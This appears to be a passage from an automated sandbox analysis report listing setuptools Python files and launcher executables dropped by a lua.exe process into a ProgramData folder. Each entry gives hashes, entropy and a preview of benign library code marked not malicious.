Preview:	from distutils.util import convert_path.from distutils import log.from distutils.errors import DistutilsOptionError.import os.import shutil..from setuptools import Command...class rotate(Command):. """Delete older distributions""".. description = "delete older distributions, keeping N newest files". user_options = [. ('match=', 'm', "patterns to match (required)"),. ('dist-dir=', 'd', "directory where the distributions are"),. ('keep=', 'k', "number of matching distributions to keep"),. ].. boolean_options = [].. def initialize_options(self):. self.match = None. self.dist_dir = None. self.keep = None.. def finalize_options(self):. if self.match is None:. raise DistutilsOptionError(. "Must specify one or more (comma-separated) match patterns ". "(e.g. '.zip' or '.egg')". ). if self.keep is None:. raise DistutilsOptionError("Must specify number of fi

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\saveopts.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	658
Entropy (8bit):	4.244659656315678
Encrypted:	false
SSDEEP:	12:1i2QWDLVrxxCLpvbJqKoMqOv+Ffz6zYFrz2ZwXIEuQGsGDpZsHYjX:1VHxUAMt+ZWYtz2kbGHZ
MD5:	C71D737DBD265D3E39FA6ACD75A75B33
SHA1:	AA2FC2B16C59EC6688923535442CBF1ECF52D235
SHA-256:	CDAED00817108A628AAE259CA0271B8713E3533DF481207BE33B932F8EF1A4FE
SHA-512:	4CBF935FB3C9B14B5D4F61FA1825CA9D05B69F360F802B8E782A00A0C2AA0396A825AA3332F9A4C4EB10DBEB4A760FC47639A396A367D77CD59410FAFCB0C3C9
Malicious:	false
Preview:	from setuptools.command.setopt import edit_config, option_base...class saveopts(option_base):. """Save command-line options to a file""".. description = "save supplied options to setup.cfg or other config file".. def run(self):. dist = self.distribution. settings = {}.. for cmd in dist.command_options:.. if cmd == 'saveopts':. continue # don't save our own options!.. for opt, (src, val) in dist.get_option_dict(cmd).items():. if src == "command line":. settings.setdefault(cmd, {})[opt] = val.. edit_config(self.filename, settings, self.dry_run).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\sdist.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6970
Entropy (8bit):	4.365910112806622
Encrypted:	false
SSDEEP:	192:89vAl+pXhlqfs7LE0Ix69x2hLHxQp328DoSPr:894ApXFEuR2hSD
MD5:	BA58C4E598474B14AD2E37CE7CACDADD
SHA1:	8DC13604353E106AA844AD348D44A7B3D73623E9
SHA-256:	4756EDF788BF46C70C78FC0A4B58814AF765A451517E1E6208F92E72CC71D282
SHA-512:	DB52D608DB017A458CBB2B5690A805A0A926F1B3C92BFE2905F3706A49C7997B63E7D673EFB756CC6EA299037070B0C05AEF24D4D8C0200140D33B676976B5E1
Malicious:	false
Preview:	from distutils import log.import distutils.command.sdist as orig.import os.import sys.import io.import contextlib..from setuptools.extern import ordered_set..from .py36compat import sdist_add_defaults..import pkg_resources.._default_revctrl = list...def walk_revctrl(dirname=''):. """Find all files under revision control""". for ep in pkg_resources.iter_entry_points('setuptools.file_finders'):. for item in ep.load()(dirname):. yield item...class sdist(sdist_add_defaults, orig.sdist):. """Smart sdist that finds anything supported by revision control""".. user_options = [. ('formats=', None,. "formats for source distribution (comma-separated list)"),. ('keep-temp', 'k',. "keep the distribution tree around after creating " +. "archive file(s)"),. ('dist-dir=', 'd',. "directory to put the source distribution archive(s) in ". "[default: dist]"),. ].. negative_opt = {}.. README_EXTENSIONS = [''

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\setopt.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5051
Entropy (8bit):	4.279951911797425
Encrypted:	false
SSDEEP:	96:CvB9XnT98yXvn3wZUFesRGem2xpaP6awe:oT93XNtGiE6aP
MD5:	D08562098C3CE004F8269D8A3B85F626
SHA1:	A05ECD78E207359D99B8C701A1D461C5C820A3C2
SHA-256:	2E272A957A1C90BA8138760F36FD49D37D87C6804A0F81CE1C1D75AA6FEDF81B
SHA-512:	BEEB4563B3B6A39A0EF872F24171DD25293E074DEE7BAAF28AF2865474ABA29593D6BFDA737E56433428C2267C67CB2711F6C4B7B2FF291D2643E86FA51B686C
Malicious:	false
Preview:	from distutils.util import convert_path.from distutils import log.from distutils.errors import DistutilsOptionError.import distutils.import os.import configparser..from setuptools import Command..__all__ = ['config_file', 'edit_config', 'option_base', 'setopt']...def config_file(kind="local"):. """Get the filename of the distutils, local, global, or per-user config.. `kind` must be one of "local", "global", or "user". """. if kind == 'local':. return 'setup.cfg'. if kind == 'global':. return os.path.join(. os.path.dirname(distutils.__file__), 'distutils.cfg'. ). if kind == 'user':. dot = os.name == 'posix' and '.' or ''. return os.path.expanduser(convert_path("~/%spydistutils.cfg" % dot)). raise ValueError(. "config_file() type must be 'local', 'global', or 'user'", kind. )...def edit_config(filename, settings, dry_run=False):. """Edit a configuration file to include `settings`.. `settings` is a dictiona

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\test.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9469
Entropy (8bit):	4.363351402111398
Encrypted:	false
SSDEEP:	96:WHWWhAkVG7lgRGQn8GdOJ5R1t0grlZrkx+sDi8b2hz6ztGtTt1JJFTBIKP7Qzlva:WHrk7lfGGsor+DD9InFeKPszQ
MD5:	B9CB5909316D49B81E312C05F0D14DF6
SHA1:	C576C17FD75A1285EF956CBC3DC23E8449B810E5
SHA-256:	6388F08DD5FFE030A29889AAE9F0D6A07CC19E25C3349544703E97C55648612D
SHA-512:	AE80209DE24DCE005955E87AB39D5D0B990453570185CE31047184DFE6B7CDEA4FFFBC3018FB961F3EB9FB6AE7531678F7C5630CB0B4640154ACF79DC0450F13
Malicious:	false
Preview:	import os.import operator.import sys.import contextlib.import itertools.import unittest.from distutils.errors import DistutilsError, DistutilsOptionError.from distutils import log.from unittest import TestLoader..from pkg_resources import (resource_listdir, resource_exists, normalize_path,. working_set, _namespace_packages, evaluate_marker,. add_activation_listener, require, EntryPoint).from setuptools import Command.from .build_py import _unique_everseen...class ScanningLoader(TestLoader):.. def __init__(self):. TestLoader.__init__(self). self._visited = set().. def loadTestsFromModule(self, module, pattern=None):. """Return a suite of all tests cases contained in the given module.. If the module is a package, load tests from all the modules in it.. If the module has an ``additional_tests`` function, call it and add. the return value to the tests.. """. if module in self._

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\upload.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	462
Entropy (8bit):	4.465772612419235
Encrypted:	false
SSDEEP:	12:1BNJtNMZ20YZ2xoqHgD36mCWZ8dJDllYm9/p2yWVk9qH2:1BNJMIR2gmSC/llYO/ik922
MD5:	DCB51BA66DBBF1DA3C745B009B011220
SHA1:	BDA85F9DC7B71594AB2BC0F2930A70C669E27786
SHA-256:	5D3DD81557D83C0980E6A8468347AE96E53DF1FB714545BE3F329C38330BC54B
SHA-512:	DA048DF52450FECD76AFF463D00F421693B2F996770E682B56A5FBDB2DE77EF8A99083E1AED8487962B3127D231282788109E61499DBEFE14D435272377F76F9
Malicious:	false
Preview:	from distutils import log.from distutils.command import upload as orig..from setuptools.errors import RemovedCommandError...class upload(orig.upload):. """Formerly used to upload packages to PyPI.""".. def run(self):. msg = (. "The upload command has been removed, use twine to upload ". + "instead (https://pypi.org/p/twine)". ).. self.announce("ERROR: " + msg, log.ERROR). raise RemovedCommandError(msg).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\upload_docs.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7151
Entropy (8bit):	4.483628876623972
Encrypted:	false
SSDEEP:	96:f6RinB2g/a8z2hfGQGg0BefCAqcheluUq5Z6kfr5lT7QlPcOf3C:f6R44g/hCdist15h4C
MD5:	7A4885FA092B63C546EB45151D827AB3
SHA1:	FA90AE0E6049DD6993AC51150CB8CEEA83465844
SHA-256:	E3CD8177B92C0417F37689318CD42F9D1D00E9D83C5CE391120F700790702AD5
SHA-512:	6203C1B01A1556485F05062A74C6A6D315E7C4B7CCC5A6226E0AD5A72A4704C3490A6E678D48198895600E82547B74A9F4598ABCF18BF63E5087459CBD38951E
Malicious:	false
Preview:	# -- coding: utf-8 --."""upload_docs..Implements a Distutils 'upload_docs' subcommand (upload documentation to.PyPI's pythonhosted.org).."""..from base64 import standard_b64encode.from distutils import log.from distutils.errors import DistutilsOptionError.import os.import socket.import zipfile.import tempfile.import shutil.import itertools.import functools.import http.client.import urllib.parse..from pkg_resources import iter_entry_points.from .upload import upload...def _encode(s):. return s.encode('utf-8', 'surrogateescape')...class upload_docs(upload):. # override the default repository as upload_docs isn't. # supported by Warehouse (and won't be).. DEFAULT_REPOSITORY = 'https://pypi.python.org/pypi/'.. description = 'Upload documentation to PyPI'.. user_options = [. ('repository=', 'r',. "url of repository [default: %s]" % upload.DEFAULT_REPOSITORY),. ('show-response', None,. 'display full response text from server'),. ('uplo

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\config.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	21485
Entropy (8bit):	4.319404633382597
Encrypted:	false
SSDEEP:	192:xfEaJ6ACVNYGQrlDgwy7gpa3iinbThGMaeFWkIVXqF2QoXlhaA8DW2VdrI/X3hNQ:xPzF1JbKikTeVvVXqF2vXn2DUzQSid
MD5:	E7CB7ADC2F8E595ED6A7325AC41534D3
SHA1:	16245C97CF4674DEF70C50E79788319F71CE72D7
SHA-256:	354AEC556E78A71602B9E91F25B57B07AC322B3BF36AD5CCE734F82EA9DE816A
SHA-512:	BE2CC008634D39F98D0156234E5A6D9B8B31A11B4082E242DF3C345E6DBA262E57FF56DC7A531F24E3F951C6FFB28F5111ABB4EECFA01A09D0C1DE6C5DAF3B2E
Malicious:	false
Preview:	import ast.import io.import os.import sys..import warnings.import functools.import importlib.from collections import defaultdict.from functools import partial.from functools import wraps.import contextlib..from distutils.errors import DistutilsOptionError, DistutilsFileError.from setuptools.extern.packaging.version import LegacyVersion, parse.from setuptools.extern.packaging.specifiers import SpecifierSet...class StaticModule:. """. Attempt to load the module by the name. """. def __init__(self, name):. spec = importlib.util.find_spec(name). with open(spec.origin) as strm:. src = strm.read(). module = ast.parse(src). vars(self).update(locals()). del self.self.. def __getattr__(self, attr):. try:. return next(. ast.literal_eval(statement.value). for statement in self.module.body. if isinstance(statement, ast.Assign). for target in statement.targets.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\dep_util.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	949
Entropy (8bit):	4.404942226828133
Encrypted:	false
SSDEEP:	24:1BNM0O1z8cxiMT6HAMN7fgq+2MzM2Lwa92Bsfy6:GScAM3MN7II2Lrg2fy6
MD5:	5213C4DEF0C6B3B0591E6E47D9B17BF9
SHA1:	19D6FA8BFD46D56D0F06ACB86D6ECA40F6935071
SHA-256:	043C75064CCD427B6F001E1A972A476D6E54541CE3AAD86CD34D0FAD42F866A7
SHA-512:	3DE83719A00EEB7CB2B81D8EBE55C3343BD03D9BDF620692B7B44D84F6BAD481321964872DA56A2EA8C13835C146A221FD6A3C8D71239E6EBE8F3F9007CA38AB
Malicious:	false
Preview:	from distutils.dep_util import newer_group...# yes, this is was almost entirely copy-pasted from.# 'newer_pairwise()', this is just another convenience.# function..def newer_pairwise_group(sources_groups, targets):. """Walk both arguments in parallel, testing if each source group is newer. than its corresponding target. Returns a pair of lists (sources_groups,. targets) where sources is newer than target, according to the semantics. of 'newer_group()'.. """. if len(sources_groups) != len(targets):. raise ValueError(. "'sources_group' and 'targets' must be the same length").. # build a pair of lists (sources_groups, targets) where source is newer. n_sources = []. n_targets = []. for i in range(len(sources_groups)):. if newer_group(sources_groups[i], targets[i]):. n_sources.append(sources_groups[i]). n_targets.append(targets[i]).. return n_sources, n_targets.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\depends.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5474
Entropy (8bit):	4.522053516426543
Encrypted:	false
SSDEEP:	96:kb/F5OP5wmOpIPRx5f9K0bMkobjSSWIochtdqsshVmWXbtDI:kbGwWq0Ak2SSWRch23V76
MD5:	14C5E7E6D8244A22C20D12A3A851C8BB
SHA1:	232403A450980C3DF89EF7384158E13C6487353B
SHA-256:	8877D974B7650AED81965485F5B460ECD534A2A6CF58C1FC9639B806EC100D8D
SHA-512:	4D12C53599A88021FDAA4E5FD33A756EE04F6EA5191BADA19CA7DA489A9C864F2D795492160F1E49FDFB6248400AB5BF25D9E0D7BA1485897C50FAABE508E1D8
Malicious:	false
Preview:	import sys.import marshal.import contextlib.import dis.from distutils.version import StrictVersion..from ._imp import find_module, PY_COMPILED, PY_FROZEN, PY_SOURCE.from . import _imp...__all__ = [. 'Require', 'find_module', 'get_module_constant', 'extract_constant'.]...class Require:. """A prerequisite to building or installing a distribution""".. def __init__(. self, name, requested_version, module, homepage='',. attribute=None, format=None):.. if format is None and requested_version is not None:. format = StrictVersion.. if format is not None:. requested_version = format(requested_version). if attribute is None:. attribute = '__version__'.. self.__dict__.update(locals()). del self.self.. def full_name(self):. """Return full package/distribution name, w/version""". if self.requested_version is not None:. return '%s-%s' % (self.name, self.requested_ver

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\dist.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	38405
Entropy (8bit):	4.412608388314868
Encrypted:	false
SSDEEP:	768:ezm1KZG2aa1RHMSjxY/YSrPPbRi5pEUg5bdse6xNfn+tXiu2EWdSPL:ezm12aagSiASrP4Yt5b+ER
MD5:	80EB3C4A4DBABAA93C47FF86F7808516
SHA1:	76662FD4E9362EAC7C7F5475D2E36E86E8FE8A5E
SHA-256:	9AC5A38D435CCC45D53B91FF5FE5F1E98D34FFD54CFD2D3F7080567A1AE45513
SHA-512:	84614BB9568E04945D18D8C55199F8CE2B7493E2AEEB00CC9A633704CD585972BDD65C4C486D6413BE06D6CD6328094F7BD932EE045B20306E820530B273E76C
Malicious:	false
Preview:	# -- coding: utf-8 --.__all__ = ['Distribution']..import io.import sys.import re.import os.import warnings.import numbers.import distutils.log.import distutils.core.import distutils.cmd.import distutils.dist.from distutils.util import strtobool.from distutils.debug import DEBUG.from distutils.fancy_getopt import translate_longopt.import itertools..from collections import defaultdict.from email import message_from_file..from distutils.errors import DistutilsOptionError, DistutilsSetupError.from distutils.util import rfc822_escape.from distutils.version import StrictVersion..from setuptools.extern import packaging.from setuptools.extern import ordered_set..from . import SetuptoolsDeprecationWarning..import setuptools.from setuptools import windows_support.from setuptools.monkey import get_unpatched.from setuptools.config import parse_configuration.import pkg_resources..__import__('setuptools.extern.packaging.specifiers').__import__('setuptools.extern.packaging.version')...def _get_unpa

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\errors.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	524
Entropy (8bit):	4.439909716177752
Encrypted:	false
SSDEEP:	12:SSfOR0FzNMy2xZADSqHgBTYePg1CiYZ2SKjc0RRvHlJ9HssKQPTj:VfOOMfA+28TnPtZ2SKVLflJBssBrj
MD5:	D02DE39FF3CEF7AB3F31565B1D1B237C
SHA1:	15A5C9A5651A0E1E2A03017E535EF6398BD7575B
SHA-256:	31539CBF7F351CD49A8C3804516CCE43827A0790470813128C77DA59C130035A
SHA-512:	110DEEEA5A99FE72C3F0FC7D6D55827189C2BA4E90022F1790FEE09A2369005ECF4C5C2690381DB9E6E997C46BA239F5EF3BAB42B40CEDB933A36BA7A75B0912
Malicious:	false
Preview:	"""setuptools.errors..Provides exceptions used by setuptools modules.."""..from distutils.errors import DistutilsError...class RemovedCommandError(DistutilsError, RuntimeError):. """Error used for commands that have been removed in setuptools... Since ``setuptools`` is built on ``distutils``, simply removing a command. from ``setuptools`` will make the behavior fall back to ``distutils``; this. error is raised if a command exists in ``distutils`` but has been actively. removed in ``setuptools``.. """.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\extension.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1684
Entropy (8bit):	4.5751305198533725
Encrypted:	false
SSDEEP:	24:oMtM1LMOJOqiCGjyMFy8WanVXZzGl7MV4FMZAGmVPEldAgALg0OqBy7oDAcOaA32:/C6vdxQaVXZzbJWVkdELAUcnaVjH
MD5:	6B5316C5706DEF9B28848C3F33CC66AC
SHA1:	E41419FCE1FD3554FB6F076B8555B70D653C9299
SHA-256:	34C338E978CD7557A559E99CD31F02C95280E4AB3A666DF14D6480D924BAC593
SHA-512:	B53B756E8D0BFFED09E64D7BB9FDBA8282041AAE925D4BA2C042D6A41831A5A68FF95B0C45AD17743BD63C973C09B89CF85ECC1A7D9AB89C8DF22368AB34D710
Malicious:	false
Preview:	import re.import functools.import distutils.core.import distutils.errors.import distutils.extension..from .monkey import get_unpatched...def _have_cython():. """. Return True if Cython can be imported.. """. cython_impl = 'Cython.Distutils.build_ext'. try:. # from (cython_impl) import build_ext. __import__(cython_impl, fromlist=['build_ext']).build_ext. return True. except Exception:. pass. return False...# for compatibility.have_pyrex = _have_cython.._Extension = get_unpatched(distutils.core.Extension)...class Extension(_Extension):. """Extension that uses '.c' files in place of '.pyx' files""".. def __init__(self, name, sources, args, kw):. # The args is needed for compatibility as calls may use positional. # arguments. py_limited_api may be set only via keyword.. self.py_limited_api = kw.pop("py_limited_api", False). _Extension.__init__(self, name, sources, args, *kw).. def _convert_pyx_sourc

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\extern\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2121
Entropy (8bit):	4.225977257280707
Encrypted:	false
SSDEEP:	48:kcAd8WP+KzxY43fHpCm2rCkALsIy+FSW50:kpdXPdf3/ArVMa
MD5:	96F55B44DB40D031B41892C0AE228D3E
SHA1:	669F4C6C08B8984D47677FDA3A5EE6B94512F4A6
SHA-256:	E7D9A93CD606A33BD75DB00AAF195D3A61CB605C810B869AA188A160790A9C9D
SHA-512:	B5834CA8A8954ACDB60F1498C2C34BC18976FEC9E02C7E71CC20E95CDE68ABF00117C9BE771683335A3D38C652650B3C582986CAB1B5AC1B6879471012D32DBD
Malicious:	false
Preview:	import sys...class VendorImporter:. """. A PEP 302 meta path importer for finding optionally-vendored. or otherwise naturally-installed packages from root_name.. """.. def __init__(self, root_name, vendored_names=(), vendor_pkg=None):. self.root_name = root_name. self.vendored_names = set(vendored_names). self.vendor_pkg = vendor_pkg or root_name.replace('extern', '_vendor').. @property. def search_path(self):. """. Search first the vendor package then as a natural package.. """. yield self.vendor_pkg + '.'. yield ''.. def find_module(self, fullname, path=None):. """. Return self when fullname starts with root_name and the. target module is one vendored through this importer.. """. root, base, target = fullname.partition(self.root_name + '.'). if root:. return. if not any(map(target.startswith, self.vendored_names)):. return. retu

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\glob.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5084
Entropy (8bit):	4.466152870050856
Encrypted:	false
SSDEEP:	96:9dtwZaQ4yZs4V5Q4yZsCzjUCP08wuxf0vvN3H79WqMoF5Ke/mjkugSqPGAOk+lgj:BQ7ZXfQ7ZPRsFC8ESSqexOtx
MD5:	17EBB70EE46F96A10F536127AE250E09
SHA1:	15AB683DBC4874557DF329B8CBCCC3F058158BCF
SHA-256:	A3BE5C1EB3B162CBE7F39E2D852C44D31F64F09ACA0EE84FFEB457955074D10E
SHA-512:	682D18B09C2598BB0CFFC1776C7BECFB103C02943D4BB52B81241FCAC90B5A4F818F7F98505CDC393918C813A5F7E815B8C42F0A8E644F5E800913B058AB9235
Malicious:	false
Preview:	""".Filename globbing utility. Mostly a copy of `glob` from Python 3.5...Changes include:. * `yield from` and PEP3102 `` removed.. Hidden files are not ignored.."""..import os.import re.import fnmatch..__all__ = ["glob", "iglob", "escape"]...def glob(pathname, recursive=False):. """Return a list of paths matching a pathname pattern... The pattern may contain simple shell-style wildcards a la. fnmatch. However, unlike fnmatch, filenames starting with a. dot are special cases that are not matched by '' and '?'. patterns... If recursive is true, the pattern '*' will match any files and. zero or more directories and subdirectories.. """. return list(iglob(pathname, recursive=recursive))...def iglob(pathname, recursive=False):. """Return an iterator which yields the paths matching a pathname pattern... The pattern may contain simple shell-style wildcards a la. fnmatch. However, unlike fnmatch, filenames starting with a. dot are special cases that

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\gui-32.exe Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	6.390958988358771
Encrypted:	false
SSDEEP:	768:nMgEYaPKRsVvd7M826QXqVXDjPXHyRhQcBU+zGqJS967GMctEvdGA9SYxQ:Mg/6/tM8NXDjPX0QWlfGMckTQ
MD5:	E97C622B03FB2A2598BF019FBBE29F2C
SHA1:	32698BD1D3A0FF6CF441770D1B2B816285068D19
SHA-256:	5C1AF46C7300E87A73DACF6CF41CE397E3F05DF6BD9C7E227B4AC59F85769160
SHA-512:	DB70C62FB35A8E5B005F13B57C1EBBF6C465F6FF0524422294C43E27FB4AA79379DC1E300AD11DC2354405C43B192AE06B91C0F525A1F2617E4D14673651A87D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........S..2...2...2......2...2...2...}8..2...`*..2...`;..2...`-..2...`?..2..Rich.2..........................PE..L......Q.....................N.......&............@..........................@..............................................4...(.......................................................................@...............@............................text............................... ..`.rdata..h ......."..................@..@.data....+..........................@...................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\gui-64.exe Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	75264
Entropy (8bit):	6.114619708611424
Encrypted:	false
SSDEEP:	1536:MpsuhGpr4+qQt4O/6LEmo1dFPo6O28E0PTBmf2iBQsdkRQ5WF:MpsgozqC4O/jHxo6l0PTBuJBQbRQ5WF
MD5:	2FFC9A24492C0A1AF4D562F0C7608AA5
SHA1:	1FD5FF6136FBA36E9EE22598ECD250AF3180EE53
SHA-256:	69828C857D4824B9F850B1E0597D2C134C91114B7A0774C41DFFE33B0EB23721
SHA-512:	03806D162931B1DCF036A51E753FF073A43664491A3CD2E649E55DD77D5E910F7BCF1E217EB0889EF606457B679428640E975EE227DE941A200F652417BC6D5D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#^..g?..g?..g?..@...d?..g?..:?...p\.c?..ymN.C?..ym_.m?..ymI..?..ym[.f?..Richg?..........PE..d......Q..........#..........l.......+.........@.............................p..................................................................(............`.......................................................................................................text............................... ..`.rdata...).......*..................@..@.data....5... ......................@....pdata.......`......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\gui.exe Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	6.390958988358771
Encrypted:	false
SSDEEP:	768:nMgEYaPKRsVvd7M826QXqVXDjPXHyRhQcBU+zGqJS967GMctEvdGA9SYxQ:Mg/6/tM8NXDjPX0QWlfGMckTQ
MD5:	E97C622B03FB2A2598BF019FBBE29F2C
SHA1:	32698BD1D3A0FF6CF441770D1B2B816285068D19
SHA-256:	5C1AF46C7300E87A73DACF6CF41CE397E3F05DF6BD9C7E227B4AC59F85769160
SHA-512:	DB70C62FB35A8E5B005F13B57C1EBBF6C465F6FF0524422294C43E27FB4AA79379DC1E300AD11DC2354405C43B192AE06B91C0F525A1F2617E4D14673651A87D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........S..2...2...2......2...2...2...}8..2...`*..2...`;..2...`-..2...`?..2..Rich.2..........................PE..L......Q.....................N.......&............@..........................@..............................................4...(.......................................................................@...............@............................text............................... ..`.rdata..h ......."..................@..@.data....+..........................@...................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\installer.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5277
Entropy (8bit):	4.616537559943389
Encrypted:	false
SSDEEP:	96:etbZGAWjsWl6EHjpUjRMGntlbTrhlL/q8:eJZ9WjsWlNd2RxT/q8
MD5:	276DCDB52880CA0625B9447EA2E5DB26
SHA1:	ABD4CEB71BD9F5CB10BD40C9ED639823FBF77C93
SHA-256:	1BAC411ED73719847A7D728B37AC509787F9D0A21A00CC8CA4CB249CE2C746DD
SHA-512:	7D78669E5774C63943C02C6E6ACD7DE944C5D4B78B99729851AA38C72C98F279BD4C559925223AF3A0EC9BC78AB521D5BE7E18CE3D8560CCC86320ED5A00D15E
Malicious:	false
Preview:	import glob.import os.import subprocess.import sys.import tempfile.from distutils import log.from distutils.errors import DistutilsError..import pkg_resources.from setuptools.command.easy_install import easy_install.from setuptools.wheel import Wheel...def _fixup_find_links(find_links):. """Ensure find-links option end-up being a list of strings.""". if isinstance(find_links, str):. return find_links.split(). assert isinstance(find_links, (tuple, list)). return find_links...def _legacy_fetch_build_egg(dist, req):. """Fetch an egg needed for building... Legacy path using EasyInstall.. """. tmp_dist = dist.__class__({'script_args': ['easy_install']}). opts = tmp_dist.get_option_dict('easy_install'). opts.clear(). opts.update(. (k, v). for k, v in dist.get_option_dict('easy_install').items(). if k in (. # don't use any other settings. 'find_links', 'site_dirs', 'index_url',. 'optimize', 'site_dir

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\launch.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	812
Entropy (8bit):	4.595220091235467
Encrypted:	false
SSDEEP:	24:9xGOtulWpW5g3RehYIClwH03J6sqYC5P4Cuhmrdenaoakc:9xG+ukpW5g3s2IC+H0I2TUkakc
MD5:	D17656790B6232741D052C636CC0FE24
SHA1:	782306700E0C400CFC574D3837E669B90B69D78E
SHA-256:	4F23D3F887354F612762F18EDBA81F3513F8CAC065AE1A5B4634315AC88EE35E
SHA-512:	7B6357AFF09B9A76C05090936FFA0D344BEDEEF7F1A59B885BFB60B790FFFE9B48A4EE9B248A753D5222B814C404BEEEC32313639B3E254915DF38BA8CBB7475
Malicious:	false
Preview:	""".Launch the Python script on the command line after.setuptools is bootstrapped via import.."""..# Note that setuptools gets imported implicitly by the.# invocation of this script using python -m setuptools.launch..import tokenize.import sys...def run():. """. Run the script in sys.argv[1] as if it had. been invoked naturally.. """. __builtins__. script_name = sys.argv[1]. namespace = dict(. __file__=script_name,. __name__='__main__',. __doc__=None,. ). sys.argv[:] = sys.argv[1:].. open_ = getattr(tokenize, 'open', open). with open_(script_name) as fid:. script = fid.read(). norm_script = script.replace('\\r\\n', '\\n'). code = compile(norm_script, script_name, 'exec'). exec(code, namespace)...if __name__ == '__main__':. run().

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\lib2to3_ex.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2335
Entropy (8bit):	4.443090163843431
Encrypted:	false
SSDEEP:	48:elS6QtywSQAsjauMn2oXk17Rn2h8gpLuF:elSnySauyZOMh8CA
MD5:	59F111DD6CA6452ADCF5C9DFBA68DD9D
SHA1:	D1AA75016D12342A1BFCAEFBBD4F91AF27C41AE5
SHA-256:	60A03B0A6748256C32D3ECAE640C548283476D71664F8A79DE235A7567414029
SHA-512:	59774336D1647DBB90A6D4CD317A0D21A1CE0504E8B3133993530995E11DB970D670400FE8361CE3115067D4E62F825EC590DFFD2D27FE813C2C46B4A39A0612
Malicious:	false
Preview:	""".Customized Mixin2to3 support:.. - adds support for converting doctests."""..import warnings.from distutils.util import Mixin2to3 as _Mixin2to3.from distutils import log.from lib2to3.refactor import RefactoringTool, get_fixers_from_package..import setuptools.from ._deprecation_warning import SetuptoolsDeprecationWarning...class DistutilsRefactoringTool(RefactoringTool):. def log_error(self, msg, args, kw):. log.error(msg, args).. def log_message(self, msg, args):. log.info(msg, args).. def log_debug(self, msg, args):. log.debug(msg, args)...class Mixin2to3(_Mixin2to3):. def run_2to3(self, files, doctests=False):. # See of the distribution option has been set, otherwise check the. # setuptools default.. if self.distribution.use_2to3 is not True:. return. if not files:. return.. warnings.warn(. "2to3 support is deprecated. If the project still ". "requires Python 2 s

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\monkey.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5217
Entropy (8bit):	4.670512237171199
Encrypted:	false
SSDEEP:	96:5HjvY4oexlYvlscQFGKOeUeRZqzwy80DIKKRTQZ9vOAIudV14:VU4oe0vlscQFG6Uji
MD5:	219798906C8BBE98A7DEBD58377E558E
SHA1:	63551B145E376AC3E89DC7B0D39E7474B14FD055
